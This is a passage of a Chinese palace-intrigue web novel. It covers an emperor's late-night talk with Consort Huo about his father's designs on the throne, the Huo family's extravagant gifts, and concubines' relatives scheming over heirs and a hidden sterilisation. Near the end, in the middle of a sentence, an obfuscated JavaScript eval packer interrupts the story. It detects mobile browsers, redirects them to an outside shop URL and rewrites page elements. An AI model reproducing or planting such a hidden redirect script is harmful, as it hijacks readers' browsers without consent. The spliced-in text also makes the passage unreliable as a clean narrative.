四年多前,灵渠进英王府只有一个包袱,未想昨日离开时竟也只带走入府时带的包袱,霁之给我数不胜数的留念竟只是场空。灵渠此刻正坐在窗前看夕阳红透,我在流光小筑时也常看,当年看夕阳真美,而今只看到皇宫金碧辉煌、满殿珠光宝气真冷呀。 陛下说,给贵妃送零用既是家族的心意还是霍家给世人看的态度可替贵妃省掉许多麻烦,但请祖父安心更勿挂怀孙女,霍家好,太后好,贵妃自然好。” 总管太监蒋厚运踌躇时皇帝陛下出现在面前,忙应下告退,带宫人跑霍家传贵妃口谕。 嬴忱璧目送大总管离开寝殿,隔座屏风问贵妃是否现在就传晚膳,稍过片刻,琉璃玉石屏风里传出贵妃依旧颓废的语调:“臣妾不舒服不能再伴驾,请陛下走吧。” “皇后潜心修佛,朕怎可扰皇后修行?自下月始,朕将不再留宿椒房殿,还请贵妃找个适当的时机用最显贵妃娘娘狂妄傲慢的态度帮朕宣布此事。” 霍灵渠微愣,总觉得皇帝不像心血来潮更像和他们清晨的谈话有关,她蹙眉站起转身,皇帝已然出现在她的视野中,她考究:“是今早我说,‘你既不认为她能改、她有丈夫时都没守住又怎会在遁入空门后就能守住?’陛下才做的决定吗?” 嬴忱璧走近贵妃,默认道:“念在夫妻和儿女的情份,今生还没发生的事,朕可以忍,但朕不可能在揣测到郭氏仍有可能将羞辱朕之后还当做没揣测过。朕不会试探考验她,朕也做不到再碰她,能否守住这场夫妻的体面就看郭氏自己。” 皇帝的情由和要求都合情理,霍灵渠答应,冷不防被握住手,受刺激下意识抬眼看他,嬴忱璧状似赞赏:“贵妃没喊放手,很好,朕每月至少十日会留宿关雎宫,用晚膳吧。” “陛下对郭皇后如此重情而对霍贵妃如此冷酷,郭皇后真是您的心头爱。”霍灵渠甩掉皇帝的手再越过他走到寝殿外吩咐宫人传晚膳,嬴忱璧被噎得刚涌起一点尚可的心情都消散,郁闷坐到软塌里想该怎样哄,贵妃叫他用晚膳才姗姗往外走。 膳间,贵妃娘娘秉持食不言的礼仪而对皇帝视而不见,陛下多番搭讪都没得到回应,他只得暂顾用晚膳,坚持龙颜含笑偶尔还给贵妃夹菜,准备晚膳后再哄贵妃。 霍灵渠脾性很好的,晏霁之多挑剔啊都能认同霍灵渠脾性好,她用过顿晚膳就没再气,然而却是比生气愤怒更糟糕的又恢复到傍晚皇帝见到她时那副像滩死水般的模样。 嬴忱璧忽然就想到不会喝酒而醉酒的人,不会喝酒偏一顿烈酒猛灌,灌酒时影响小,待当场过后,猛烈的酒劲涌上来才真正叫人吃不消。贵妃昨夜还算正常,今夜又发作起来突然颓丧得死气沉沉没有生趣,可真像她灌顿烈酒后酒劲上来了。 夜空冒出零零碎碎的散星,总管太监蒋厚运回关雎宫传话:“霍家问陛下、贵妃娘娘安,请贵妃容禀,霍家会取六六和顺之意从原本给贵妃备的零用中取66抬箱笼拆做108抬,明早送进宫给娘娘做零用,老头和霍家老小都好,请娘娘放心、勿挂怀。” “好,退下吧。”嬴忱璧遣退大总管,霍灵渠随后赶他:“臣妾不舒服,陛下请回吧。” “贵妃刚入宫廷还没适应,朕明白更会体谅,贵妃尽可安心。”嬴忱璧告诉自己总得有个过程,她必定会要经历这番过程,不要急,不能急,急不得。 霍灵渠遵礼仪谢过恩就告退回内室,嬴忱璧揉揉眉心,拿起《论语》继续翻阅。 寝殿内烛火摇曳映得纱帘迷离,深夜的滴漏在烛泪肆流中靠近亥时,皇帝放掉书简,传令宫人备热水伺候洗漱;一如昨夜和今早,他和贵妃分开洗漱谁也不妨碍谁。 昨夜寝殿里就没有宫娥守夜,皇帝今夜同样没留守夜的宫娥,从皇帝本人而言,他向来不喜有宫人守夜,这对他就是寻常事。 床前的烛光透过琉璃灯盏照得水红床幔叠影重重,霍灵渠凝眸,像有数不清的迷离影像映进瞳孔里,不知几时好像有错觉看到皇帝坐在她的床头,怔怔望几眼意识到不是幻觉,她平静拥被坐起来冷冷清清注视皇帝,一种足以浇灭男人欲念的冷漠。 “朕只是想和贵妃说说话,寝殿里只有你我二人,很安全。”可能是打击多了,嬴忱璧没受任何刺激和影响就忽略掉贵妃的防备:“昨夜留的疑惑,晏霁之如何得知?” “古往今来想追求长生不老的皇帝,少吗?” “圣人只是禅位。”嬴忱璧提醒,霍灵渠反问:“真心禅位怎会不愿意放权?” 嬴忱璧淡淡笑笑仿佛很能理解般:“从执掌江山君临天下到缩在偏隅颐养天年总得要有个慢慢适应的过程,贵妃只是入宫而已尚且都这么难适应,何况是圣人?” 霍灵渠道:“他禅位前允诺放给陛下的权利在他禅位后根本没给,是陛下硬抢得来。” “当年圣人突然要禅位,朝野震动,朕算趁火打劫吧。”嬴忱璧似感慨惭愧:“当时反对禅位的声音此起彼伏,朕趁机强逼圣人允诺放权,否则朕便不接皇位。圣人没法才给允诺,任谁被逼迫都不会好受何况是君王,圣人禅位后不想放权实属应当。” “陛下若真放心又何需争权?”霍灵渠戳破,嬴忱璧淡定:“皇帝手中总得有权柄,否则朕孝敬太上皇愿意事事遵奉父皇意,那些不知尊卑的妄图僭越犯上,朕如何处置?” “若有僭越犯上者,陛下可等到你父皇驾崩后再清算。”霍灵渠深究:“朝野看太上皇还有几年,你看你爹还能有几年?既然陛下孝顺,你就忍到你爹死后,有何不行?” 嬴忱璧着重表明:“朕毕竟是皇帝!” 霍灵渠反驳:“是太上皇禅位给陛下,胆敢对皇帝僭越冒犯者必然是倚仗太上皇之威,既然陛下孝顺,那么念在你父皇的情面又有何不能忍?陛下平白捡到个天下最大的便宜,让你顾念太上皇都不肯忍让几年,陛下何来的脸标榜自己孝顺?” 嬴忱璧妥协笑:“好,贵妃有理,晏霁之就是因此猜测太上皇想追求长生重登帝位?” 霍灵渠垂眸:“肯定还有许多蛛丝马迹让他奇怪吧,不然也不敢推测此等论断。” “晏卿果真聪慧绝顶。”这声评语,没听出皇帝是褒是贬,正徽帝嬴忱璧承认:“对!朕没办法退让,太上皇想追求长生,朕的头顶悬着一柄刀,执刀人就是朕的亲爹。” 比起初闻时的震惊,霍灵渠此刻平静得如同皇帝在说今夜星空很美。嬴忱璧宣告肯定,看贵妃美丽的容颜没有惊惶更瞧不出有任何怜悯同情的情绪,不是他意想中的反应,虽然他也说不准想看到贵妃什么反应但绝不该这般淡漠:“贵妃就不觉得朕可怜吗?” “边境惨死在外敌铁骑下的无辜百姓可怜吗?被贪官污吏害得家破人亡的百姓可怜吗?臣妾被皇帝强硬囚困在宫中,可怜吗?世间多少可怜事?” 霍灵渠抬眸,中肯道:“皇帝陛下很幸运,你很清楚你爹的心思、你的处境,你能韬光养晦运筹帷幄克敌制胜,比起连反击都不能就被害的人,陛下很幸运。” 男人绝大多数都会希望能被女人仰望依赖的,何况是皇帝?倘若贵妃此刻怜悯同情他,哪怕是出于关怀,嬴忱璧都不想要这种施舍,幸运二字是真让他舒心的:“自获知亲爹的意图以来,朕偶有悲戚,贵妃一席话令朕茅塞顿开,朕得天眷顾确实已经很幸运。” 霍灵渠泼盆凉水给他:“夜深了,陛下早些安置吧。” 嬴忱璧顿时憋得慌,郁闷站起走向他睡的软塌,这时候他觉得他这皇帝还是可怜的。 烛火熄尽,黑暗犹如从炼狱里出逃的猛兽贪婪蚕食殿中人的视野,霍灵渠美眸怔怔,仿佛能在漆黑里窥见往昔她和晏霁之的恩爱,方才意识到记忆里的夜原来那么深刻。 关雎宫的寝殿进入梦乡时,晏霁之仍在遥望夜色,他下巴点点胡渣冒出,以前多么不能容忍的事啊,而今他竟然神奇得接受了,又是孤枕难眠的夜,终于知道孤寂那么可怕。 71. 第71章 清晨碧空如洗,红绸飘扬,暖阳滴溜溜的明媚携在枝头,心旷神怡的清新在空中蔓延。 都城里对谈论霍贵妃的热情还丝毫未减,霍家给贵妃的‘十里红妆’浩浩汤汤送往皇城,一路喜气洋洋引得不知多少路人起哄,只差锣鼓唢呐敲打吹奏就真成送嫁妆的了。 翊善伯到昭德门前撞见霍家给贵妃送零用的热闹场景,没驻足就递牌进内廷。杭太太相较晚大半刻钟,她多瞧会儿,装在箱笼里的珍宝没瞧见,不装箱的大摆件,看见棵比人高的血红珊瑚树、一座紫檀底座金镶五彩琉璃插屏,看得她满脸惊奇连连咂舌。 “娘都没见过那么高的珊瑚树,珊瑚树不都是放在书桌上就盆栽大吗?还有那屏风,红橙黄绿像彩虹似的,娘活半辈子都没瞧见过能有这样的屏风,宫里也有吗?” 当前皇帝的每位嫔妃都是独居座宫殿,杭婕妤住在婵娟馆,是座秀丽雅意的殿阁,放眼内廷虽然不起眼但也是雕梁画柱精巧玲珑比她母亲和兄嫂们住的宅邸还要大得多。 按规制,正四品婕妤配三十名宫人服侍,公主七岁前配八名宫婢照顾,皇帝抬抬手又多给拨二名宫娥过来凑个整数故而婵娟馆有四十名宫人,宫内还布置了小厨房。 “有啊,长春宫里就有这种琉璃摆设。”杭婕妤靠在鸡翅木罗汉床里懒懒应道,她相貌娟秀清雅自有人淡如菊的美,慵懒的气韵落在她清秀的眉梢间有种别样风情。 “这种宝物,娘想都想不出来,这得用掉多少银两啊?”杭太太四十五六岁,一身绸缎衣裳,发髻间两支金簪,就是最普遍的家境殷实的平头百姓的打扮,不说保管没人能猜出她有女儿在宫里做嫔妃,她也没什么羡慕嫉妒的腔调就是看到后就说说。 “霍家出手向来阔绰,给贵妃送108抬零用,哪怕为面子,平均下来每台零用值千八百两应该有的,这108抬合计起来折算应该值十万两白银吧。”杭婕妤也没有任何羡慕嫉妒,哪怕她娘家清贫、她的殿里没有一件摆设是娘家送来。 “哎呦我的佛祖爷爷,怪道都说霍家有泼天富贵,咱全家到死都用不掉那么多银子,他们霍家就这样送掉了啊?”杭太太受惊得难以想象连拍她的心口。 杭婕妤扬唇笑笑没反驳没附和,她把放在手边的木匣推给母亲,劝道:“您闲着就多享享福少做绣活,容易熬坏眼睛又挣不到几两银子,何苦?我最差的珠钗都够您做一月绣活,咱家不缺您做绣活的银两,您平日里就含饴弄孙享清福好了。” “家里花销大,娘闲着也是闲着,做月绣活好歹能挣十两八两的,也能添补些;真不晓得银子都用到哪儿去了,以前三四两银子用一个月就过得好,现在三四十两都没底。” 杭太太接过木匣边打开边念叨:“你爹和你哥死心眼,别人来送银子还非不要,要不也能宽裕些,省得还跟你要首饰;但还真别说,皇宫里的东西就是好,你嫌差的珠钗拿外头当铺里都能当十两银子,年前你给那好首饰当了一百两银子,都够全家年底花销了。 说起来陛下减用度都好几年了,皇后不都嫌过得拮据吗?你让皇后多劝劝陛下,啥时候就把宫里的份例恢复了吧;像你以前每月都能拿一百两白银二十副珠宝首饰还有那些绸缎,你随意给些家里就能够咱们都挺富余,哪像现在,每个月都得紧巴巴扳着算。” 削减用度后,婕妤每月三十两白银、十副首饰,绫罗绸缎也是少,她得顾着在宫里的体面根本挪不出多少补贴给娘家。削减用度前虽然只过了五个月,可哪能忘得掉? 杭婕妤叹惜:“朝廷两线作战,南北的战事都没结束,怎么着也得等打完仗以后。”下刻她话锋偏转又笑:“但也许皇后劝陛下能有用,我会多给皇后吹耳边风,娘放心吧。” “就是说嘛,打仗归打仗,皇宫里的富贵排场不能丢了呀,连皇后都嫌过得拮据咧。”杭太太掏出手绢把木匣里的金首饰包好揣进袖中,悄咪咪问闺女:“娘在外头听说,就是现在城里都传得沸沸扬扬,说是贵妃进宫前又做过娼妓又给别的男人做过小妾?” 目前,杭父在邯郸辖下的肥县任县令,杭大爷是翰林院八品小吏,没资格参加宫宴。 想当年还在潜邸,还是越王妃的郭皇后给丈夫纳妾,原本想从通房里挑个抬做妾,谁想越王嫌弃通房浅薄硬是不肯、非得要能识文断字知书达理的妾,郭皇后只能往府外选。 挑选的标准就是要好拿捏,家庭简单、相貌清秀足矣不需多美,筛选遍挑中杭婕妤:爹是举人在学馆做教书先生,逢科举年还会孜孜不倦参加科考;娘做的绣活不错,靠她做绣活就能养家;上有秀才兄长下有对弟妹,本人和家人在乡邻间的声誉都不错。 读书人的傲骨,宁做小户妻不做高门妾,杭婕妤的父亲当年肯送女儿做妾是下狠心的。但不知是最后的倔强还是自身的尊严不屑去走裙带关系,越王登基做皇帝,他女儿成嫔妃,杭父也没趁机求官职仍然兢兢业业科考,终于在正徽元年高中进士。 两年前,年近五旬的杭父升任肥县县令,杭太太留在京里没有随丈夫赴任;而杭大爷在正徽四年即去年高中进士,刚入仕途还只是小吏,他家没参加宫宴自然是不太清楚。 杭婕妤手托腮,指尖捏的丝帕轻飘飘滑过她细腻的肌肤,她感受着丝帕的柔滑报个料:“是呀,这种过往非但不缩起尾巴做人还敢肖想做皇后,仗着霍家撑腰真为所欲为呢。” “啊,啥个东西,什么想做皇后?”杭太太惊愕得待女儿再解释遍仍不敢相信:“贵妃是脑袋不好使还是得疯病了啊,陛下和皇后就没处罚她?” “霍家还没倒,皇后哪儿敢责罚贵妃?”杭婕妤哼笑声,杭太太想想忍不住皱眉担忧:“贵妃这样跋扈嚣张的连皇后都敢欺压,能让你生养吗?要娘说你避子汤真该停了。 今年宫里就要选秀,你想想那么多漂亮的小姑娘涌进宫里来得把你挤兑到哪儿啊,再晚两年你要是没宠了你想生都生不了,还是趁早怀胎,趁你年轻多生几个。” “现在谁敢怀孕?谁怀孕就是贵妃和太后还有霍家的眼中钉肉中刺,就算令愔夫人再怀胎只怕也得被暗害流掉。”杭婕妤不在意:“再过两年吧,霍家也没几年了。” 杭太太真看不得女儿这副懒散的调调:“可你再过几年就要多大岁数,你怎么肯定你再过几年还能有宠呢?皇上不好女色啊,你说那个什么夫人她最得宠不也是每月就三四回;宫里还有那么多漂亮小姑娘,再过几年要是皇上都不来看你了,你怎么生?” “这?”她娘考虑得也有道理,倘若再过几年她失宠了怎么办?杭婕妤烦道:“皇后和建威侯府也真窝囊,把和霍家有仇和霍家不对付的人家全都联合起来还能输吗?” “你多劝劝皇后呀,”杭太太理所当然:“你劝皇后把霍家弄倒,对我们大家都好呀。” “劝?”郭皇后那么软弱能劝得出来吗?杭婕妤迟疑:“那我试试?好歹试试。” 摆在案头的小巧白瓷香炉里飘出袅袅清香淡雅悠扬,窗台前花瓶里今晨新摘的杏花枝优美婉约又夺人眼球,檐下挂着五岁半的大公主喜欢的风铃,真是一段惬意好春光呀。 翊善伯踏进内廷后走到半途被皇帝召见,因此陪皇帝陛下说完话才去看他孙女翁美人。 翁美人住在拾翠阁,跨进殿门,迎面而来的是座荷花池,池塘里绿藕浮清波,几尾金鱼嬉戏莲叶间;经石桥走过荷花池有假山流水叮咚,花红柳映间坚固的秋千架趣意横生。 拾翠阁是座活泼的殿阁,与之相应的,殿阁主人也偏活泼。从五品美人配十五名宫婢,在翁美人有孕后皇帝连番给她拨宫婢,而今拾翠阁有二十名服侍的宫人。 而论在后宫的得宠,虽然皇帝对女色淡淡也基本雨露均沾但自然还是能比较出,撇开郭皇后和新进宫的霍贵妃不论,最得宠的是令愔夫人,翁美人次之,往后属霍秀仪和杭婕妤,排在末梢的是喻秀仪和从六品的倪芳华,总体而言谁都有宠,后宫还算平静。 翁美人靠在美人榻里喝银耳羹,对于宫婢禀告她祖父来了,她眼皮都没抬。 从五品美人的份例没有燕窝也没有银耳,至少得是正五品才能每月有二两银耳的份例,四品的宫妃才能每月有二两燕窝的份例,还是她有孕后额外每月给她拨二两燕窝二两银耳;娘家还会补贴,她不嫌燕窝少,她嫌银两少。 瞧见祖父进殿,翁美人凶巴巴得就跟祖父要银两,宫婢们不需美人吩咐就奉茶水糕点;茶水备好后,翊善伯把宫婢们全都遣退,慢悠悠问:“美人是在生老臣的气吗?” “对啊!前天宫宴要不是被祖父你拦着,我肯定要再求陛下,没准陛下就能同意了,那样我的皇儿就不用抱给贵妃养,我就能自己养皇儿了,都是祖父你害的!”翁美人逻辑通畅:“你得多给我五十两银子,不然的话,我就反悔再去求陛下,陛下怪罪让伯府担着。” 翊善伯撩撩袍坐在美人榻前的锦凳上还价:“老臣在昭德门前碰见霍家给贵妃送零用,108抬零用大概值多少价?美人若是能估得出来,再拿这一百两银子不迟。” “哼!”翁美人瞪瞪她祖父,想霍家财大气粗就往多猜:“能值五十万两白银吧。” “以老穆国公的心性,给贵妃送零用没值个百万银两拿不出手,老臣猜珍宝价值就有百万银两,现银应该有美人猜的数,这108抬零用作价一百五十万两白银。”翊善伯给答案,翁美人瞪圆眼睛不可思议:“怎么可能,那不得把霍家的家底挖掉个窟窿?” 翊善伯有点惊奇:“美人还知道霍家有多少家底?” 翁美人不假思索地甩甩手:“猜都猜得出来嘛,肯定有千万家资。” 翊善伯失笑,端起茶盏喝茶;翁美人睨斜她祖父,挺起腰板捧孕肚,雄赳赳气昂昂放话:“看贵妃的祖父给孙女送零用连把自家家底挖掉个窟窿都肯,再看我的祖父,平时五十两,害我皇儿要被抢走后还连一百两白银都不肯给,祖父你就不羞愧吗?” “贵妃的祖父是什么人物,谁敢和老穆国公比,老臣何愧之有?”翊善伯放下茶盏,毫不羞愧地表明:“反倒是美人你掉在钱眼儿里斤斤计较,对养胎不好。” “哼!”翁美人昂起精巧的下巴反谴责:“喻秀仪是庶女,她爹每年都给她补贴一千两;我可是嫡女,你们每月只给我补贴五十两我都没嫌,现在祖父你害我皇儿要被贵妃抢走了,让你多给我补贴五十两又怎样?伯府少这五十两银子吗?” “美人嫌低品份例的摆设和首饰绸缎既少又差,伯府给您送;美人嫌低品份例的胭脂茶叶香料都不好,伯府继续给您送;美人嫌低品份例没有燕窝,伯府接着给您送。” 翊善伯慢条斯理反驳:“再说银两,美人还在伯府时的月例银是六两,现在有十五两,伯府还每月给您送五十两白银,您应该过得很宽裕,您还要那么多银两来作甚?” 翁美人毫不噎道:“宫里能和家里比吗?宫里哪儿不需要用银两?伯府给我补贴再多还能面面俱到把日常都照顾到吗?一月多少蜜饯鲜果都定死的,我每月就十五篮鲜果想每日吃篮新鲜果子都没的,那我想吃,不得另外掏银两买,这还是最浅的。 我打点个御前的小太监都得用二两银子,我也不敢想能做高位娘娘,四品,正四品我就能过得舒服不需再向家里要补贴,可我现在才从五品,家里多给些补贴又怎样?” 翊善伯凉凉道:“按美人之意,陛下将内廷的份例再增加些又怎样?” “朝廷在打战嘛。”翁美人蔫儿了:“国库都入不敷出,哪还有让后宫奢靡的道理?” “从五品嫔御每月的份例有失皇家体面吗?”翊善伯再问,翁美人蔫巴巴:“没有。” “陛下为何大肆削减内廷用度?”翊善伯教导道:“诚然,国库维艰,减少后宫的花销,皇帝的私库能多匀些补给国库,这是陛下体恤边境将士百姓的爱国爱民之心。 但,会仅是如此吗?皇家奢靡自古有之,有奢靡就有贪腐,陛下是要治这股歪风邪气。美人拿二两银子就能打点御前的小太监、用一两银子就能把十日的鲜果买到;可换做以前,只怕美人买一篮鲜果就得用一两,拿十两银子贿赂小太监,人家都不屑搭理你的。” “不会吧?”翁美人怀疑:“我月例银子都才十五两,一小太监还能嫌十两少?” “陛下整治内廷前,皇宫就是座销金窟,十两银子掉在水里连个响声都不会有,伯府即使每月给美人补贴三五百两银子都不够你用。”翊善伯冷笑道:“可奢靡成风换来的又是什么?是内监中饱私囊贪腐甚巨而上达天听的言路堵塞,积久弊生竟成国之蠹虫!” 翁美人最怕祖父讲道理,讲讲大道理就能压得她一败涂地:“我不多要就是了。” “四品的用度就能过得舒服了,皇后娘娘何苦嫌日常拮据?”翊善伯隐晦拓展,翁美人愣了愣,神情古怪地看向她祖父,伯爷含蓄教道:“在宫中至少该有粗浅的看人本事,皇后娘娘既喜怒多行于色,美人多少就该看懂几分郭皇后的性情。” “嗯…嗯嗯,我懂我懂,祖父你放心,我懂的。”翁美人想到件事略神秘得和祖父交流:“祖父你听说过没有,我昨日刚听到,最近大家私下悄悄在传:霍家死期不远矣。” “美人也信吗?”翊善伯笑着再端起茶盏来喝茶,翁美人喝口银耳羹,应道:“信啊,霍家现在可是有两笔账呢还能逃得过吗?一年前是霍蓁蓁妄图强抢后位,现在又轮到贵妃,真当陛下是泥捏的不成?我看陛下彻底掌权后处置霍家,太后都别想能落好。” 任工部尚书能算得上位高权重的翊善伯问孙女:“美人可知霍家因何敢强抢后位?” 翁美人想也不想就答:“他们霍家嚣张跋扈霸道狂妄得眼里都没有陛下和皇家了呗。” “可霍家若狂得都敢欺压皇家,圣人还能容得吗?何需等到陛下掌权后再收拾霍家?”翊善伯提出矛盾点,翁美人发现竟不能反驳:“那、那圣人为何不处置呀?” “这就证明霍家目前还在圣人和陛下的宽容范围内,对吧?”翊善伯引出结论,翁美人惊得深呼吸不愿相信仍坚持己见:“强抢后位羞辱陛下践踏皇家尊严,怎么可能再容?” 翊善伯轻描淡写:“兴献侯夫人母女蛊惑太后意图强抢后位,与霍家何干?陛下将来雷霆大怒,拿兴献侯夫人母女不够不还有佟家吗?”他话落,吓得他孙女差点捧孕肚蹦起来:“什什什什么呀?这和佟家能有什么关系,霍家在强抢当然是处置霍家呀。” “老臣给美人打个比方,”翊善伯循循诱导孙女:“比如,贵妃娘娘是陛下的心尖尖,若贵妃惹得陛下震怒,陛下雷霆大怒之下将关雎宫所有宫人杖毙,这处置有何不妥吗?” 呃?翁美人犹豫:“可,可霍家对陛下能有那么重要吗?陛下又为何要迁怒佟家呢?” “同件事是谁都能做吗?强抢凤座,太后能做老穆国公能做,兴献侯夫人母女能做吗?”翊善伯讥讽:“佟家可是娘家,佟尚书不清楚他女儿在羞辱陛下践踏皇家尊严吗?他能摘得干净吗?佟家能扛得住帝王之怒吗?不能啊,那他不阻拦不就是在找死吗?” “对哦,佟尚书没阻拦就是活该要找死呀,佟家和霍家的罪过应该是相当的。”翁美人反应过来又不懂:“可是祖父,你说老穆国公能强抢凤座?这是指霍家能没事吗?” 翊善伯默认道:“美人可知道若霍家倾覆对朝堂会有多大的影响吗?” 翁美人有自知对朝堂不懂但是吧:“能有多少影响,陛下还能少得用的大臣吗?” “朝廷必须要稳,生乱则恐社稷有危。”翊善伯拣简明扼要的点拨:“霍家能做当朝第一豪族是本事而能坐稳第一是能平衡各方令君王满意,若霍家倾覆,朝廷要生乱的。” “怎么可能?”翁美人不信:“有的是能用的大臣还能少他们霍家就不行了吗?” 翊善伯耐心地细细解说:“霍家倾覆不是单指霍家倒台而是指从属霍家的势力全得倒塌,现今的局势是霍家第一晏家第二相互掣肘平衡,可现任英王的祖父生前曾权倾朝野,圣人是决计不会再让晏家登顶,若要除掉霍家就得把晏家也连根拔起。 当朝第一第二两大豪族若倾覆,将有多少势力为争他们的位置而斗得头破血流?何况他们平稳朝纲的能耐让圣人和陛下都满意的,新登顶的家族不可能再做的更好,可郭皇后辞位对朝堂有影响吗?没影响啊,那么陛下将来处置佟家发泄怒火后又何必再动霍家?” 国母尊位啊,对朝堂没影响?!她祖父那么贬国母尊位,翁美人是有些不忿想反驳的,可再三思量发现换掉郭皇后对朝堂真的没影响连对后宫都没影响呢,她郁卒! “霍家就那么重要吗?连强抢后位羞辱陛下践踏皇家尊严都能没事?”让她好憋愤啊。 “应该说,若非能自保,霍家怎敢挑衅帝王尊严?”翊善伯殷殷叮嘱:“美人对老穆国公要存敬畏,有敬畏,你才能看懂霍家的厉害,看懂霍家的厉害能让你在宫中少走弯路。” 翁美人蔫头耷脑地哦声摆明就是在随便敷衍,翊善伯也不恼,乐哉哉戳孙女的死穴:“霍家行事若是连美人你都能看得明白,霍家岂不早就被弄垮了?美人觉得有道理吗?” “……”憋屈啊!翁美人愤愤指责:“有道理!可祖父你这样贬自己的孙女合适吗?” 翊善伯笑道:“那么,当年菊花宴上太后为何肯挑喻秀仪充盈后宫,美人思考过吗?” 喻秀仪的同母哥哥就是被霍鹣娇退亲的那位,翁美人看她们俩不是冤家路窄就是冤孽啊:“我就一直想不通嘛,而且这几年每每霍鹣娇故意针对她,太后都没偏帮过,有时还能主持公道训斥侄女,连霍鹣娇找她爹穆国公都没用。” “给文郯侯卖个好又何妨?霍家行事看似跋扈,实则很少树敌,霍家的度量更比朝中多数人家都大得多,就像昨日清早就传得满城风雨尽是对霍贵妃的议论,可霍家稳如磐石。”翊善伯忽然就想起个感慨:“老穆国公曾说,他有多大胸襟就担得起多盛辉煌。” 翁美人真不想承认她祖父分析得有道理,她咬咬唇求证:“所以,像祖父你、像丞相他们这种朝堂的重臣都很清楚霍家根本不会出事吗?那,贵妃真的会晋位吗?” 翊善伯只道:“郭皇后的前路已定,低位嫔御生的皇嗣能抱给贵妃养,多好的事,别人想求都还求不来的好事能落到美人的头上,美人应当高兴。” “可我高兴不起来啊。”她的皇儿隔几日就会踢踢她跟她打招呼,现在皇儿要被抢走,她怎么可能再有好心情?翁美人小脸耷拉,翊善伯就问:“美人可知你若不高兴,传到贵妃和太后耳中令她们疑心你不乐意把皇嗣给贵妃养,对谁最不好吗?” “伯府!”翁美人瞪眼祖父飚出两字,翊善伯说:“错啦,是对美人腹中的皇嗣不好,孕妇心情好才对胎儿好,美人不高兴对腹中的皇嗣能好吗?传到贵妃耳中,贵妃岂能没疙瘩?等到皇嗣生下来抱给贵妃养,美人还想让贵妃对你生的皇嗣好吗?” 翁美人悲催的:“就真的不能再求求陛下吗?也许陛下能同意让我自己抚养皇儿呢。” 翊善伯打击道:“正徽二年十月的秀女入宫,陛下是心急要皇嗣吗?没有,陛下下令,你们年轻又刚入宫还不熟悉宫廷生活、若有孕恐会手忙脚乱故赐避子汤,可不是避一两月而是避到正徽三年腊月三十。基于此,诞育皇嗣有可能能连升三级吗? 再者,杭婕妤自潜邸入宫封婕妤以来四年多都不曾升过品阶,她可是潜邸的老人,陪伴陛下多年还育有大公主,若是美人只陪伴陛下两年多就与她平起平坐岂不伤杭婕妤的心吗?更何况贵妃新封,低位嫔御诞下皇嗣,不交给贵妃抚养岂不是在打贵妃的脸?” “可是、可是……”叫她怎么能甘心把她的孩儿给贵妃养?翁美人苦恼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459263|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得小脸皱成团,翊善伯端起茶盏喝两口再训诫孙女:“莫再想贵妃在抢皇嗣,美人没有资格抚养皇嗣,贵妃提出要抚养美人你生的皇嗣完全合宫规合情理,美人应当感激贵妃对你的看重。 或者美人该想想,你腹中皇嗣可还不知道是男是女,贵妃为何就提出要抚养?大家看来贵妃必定是想要抚养皇子,若你生的只是位公主,贵妃提前要求抚养又有什么好处?” “对哦。”翁美人歪头困惑,翊善伯道:“美人莫嫌老臣唠叨,可您心思浅,皇宫的权欲诱惑又最容易惑人心智,老臣只能再三提醒;祖父曾告诫你的话,美人还记得吗?” “我记得!”翁美人乖乖背诵:“祖父说家族前程自有儿郎们挣,不需我去为家族争宠,我只需在宫中安稳度日;我没本事心机能做宠妃,我最多做个有点宠的小宠妃。 祖父还说,不聪明无妨,最怕自作聪明;我老实安分,慢慢自会和陛下有情份,宫外还有伯府给我做倚仗,总能保我在宫中安稳终老。可我若做坏事,自己找死,神仙难救。” “对咯,切莫自作聪明,这点在宫中尤为重要。”翊善伯顺其自然引出:“看杭婕妤自作聪明竟然自己私底下喝避子汤,被已故珍修仪暗中下绝育的汤药,她还懵然不知呢。” 喔喔?!翁美人被这隐秘惊得险些尖叫:“真的呀,祖父你从哪里听来的?” “美人宫里有已故珍修仪的旧婢,偶然得知后告诉老臣的。”翊善伯说,翁美人没领悟:“没有啊怎么会是我告诉祖父,是祖父你在告诉我啊,我刚听说呢。” “是美人在散步时无意中听到,再过两旬,美人还将无意中透露给令愔夫人和喻秀仪。”翊善伯六旬年纪的老脸意味深长:“美人清楚该怎样不动声色透露吧?” 这下翁美人领悟得不能再领悟了,她捂嘴巴有点兴奋:“祖父,是陛下告诉你吗?” “是美人在饭后消食散步时偶然在假山后头听到已故珍修仪的旧婢在和宫人咬耳朵,正徽三年冬月,已故珍修仪趁杭婕妤偷喝避子汤之际暗害她绝育。”翊善伯继续重申。 “我懂我懂,祖父你放心,我懂得。”翁美人连连保证,但是吧,她努努嘴不解:“可,陛下既然晓得珍修仪想害杭婕妤绝育为何不揭穿不阻拦呢?” “不是杭婕妤自己不想生养皇嗣吗?”翊善伯提醒,翁美人猜道:“她不可能不想生,她可能…可能应该是她怕还没有在宫里站稳就生养皇嗣会被害吧。” “这就是自作聪明!”翊善伯评道:“陛下又不是连她是谁都记不住,她若有孕,陛下会护不住吗?有令愔夫人荣宠在前,除了已故珍修仪与她存着旧怨,谁会害她? 此事往小说是她想在宫里站稳后再生养,往大说那事情就大了,这可是在嫌陛下没用!皇嗣是她不想生就偷偷避孕、她想生就能生的吗,陛下还能少生养皇嗣的嫔妃?杭婕妤既然自作主张偷喝避子汤,已故珍修仪揪准时机乘机动手,为何要阻拦?” “嗯,对,她自找的。”翁美人再问个疑惑:“可祖父,为什么又突然揭露出来?” “四月秀女大选,忠毅伯府眼巴巴想着要再送姑娘进宫,祖父猜,陛下是不想要了。” “对!有道理,我都不想再来个他们家的姑娘,祖父你放心,我会办得漂漂亮亮的。”翁美人爽快担保,翊善伯不厌其烦提醒:“美人又糊涂了,您无意中从已故珍修仪的旧婢那里听来的闲话在两旬后偶然透露给令愔夫人和喻秀仪知晓,与老臣有什么关系?” 